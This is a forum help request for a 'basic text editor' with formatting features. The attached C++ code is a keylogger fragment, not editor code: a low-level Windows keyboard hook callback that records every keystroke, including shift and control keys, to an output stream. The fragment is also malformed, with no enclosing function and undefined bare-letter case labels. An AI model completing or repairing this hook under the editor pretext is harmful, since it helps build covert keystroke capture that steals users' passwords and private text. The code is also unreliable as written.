Hi, I am looking to write a basic text editor, I am in need of help of implementing:
Formatting: Left, Right, Middle, Justify
Bold, Italic, Underline
Different Fonts
Font Sizes
I have included an attachment of what I have written so far. Any help would be greatly appreciated.
Thanks,
Laurence.
MOD EDIT: Pasted Attached Code
cpp
#include <iostream>
#include <windows.h>
using namespace std;
/* I am not sure how to implement the following code or if it works, as I have taken it from a C++ book
that I own. I am looking to write a basic text editor with some of the this code */
if (wParam == WM_KEYDOWN) {
switch (p->vkCode) {
case VK_CAPITAL: out << "<CAPLOCK>"; break;
case VK_SHIFT: out << "<SHIFT>"; break;
case VK_LCONTROL: out << "<LCTRL>"; break;
case VK_RCONTROL: out << "<RCTRL>"; break;
case VK_INSERT: out << "<INSERT>"; break;
case VK_END: out << "<END>"; break;
case VK_PRINT: out << "<PRINT>"; break;
case VK_DELETE: out << "<DELETE>"; break;
case VK_BACK: out << "<BACK>"; break;
case VK_LEFT: out << "<LEFT>"; break;
case VK_RIGHT: out << "<RIGHT>"; break;
case VK_UP: out << "<UP>"; break;
case VK_DOWN: out << "<DOWN>"; break;
case a: out << "a"; break;
case b: out << "b"; break;
case c: out << "c"; break;
case d: out << "d"; break;
case e: out << "e"; break;
case f: out << "f"; break;
case g: out << "g"; break;
case h: out << "h"; break;
case i: out << "i"; break;
case j: out << "j"; break;
case k: out << "k"; break;
case l: out << "l"; break;
case m: out << "m"; break;
case n: out << "n"; break;
case o: out << "o"; break;
case p: out << "p"; break;
case q: out << "q"; break;
case r: out << "r"; break;
case s: out << "s"; break;
case t: out << "t"; break;
case u: out << "u"; break;
case v: out << "v"; break;
case w: out << "w"; break;
case x: out << "x"; break;
case y: out << "y"; break;
case z: out << "z"; break;
default:
out << char(tolower(p->vkCode));
}
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}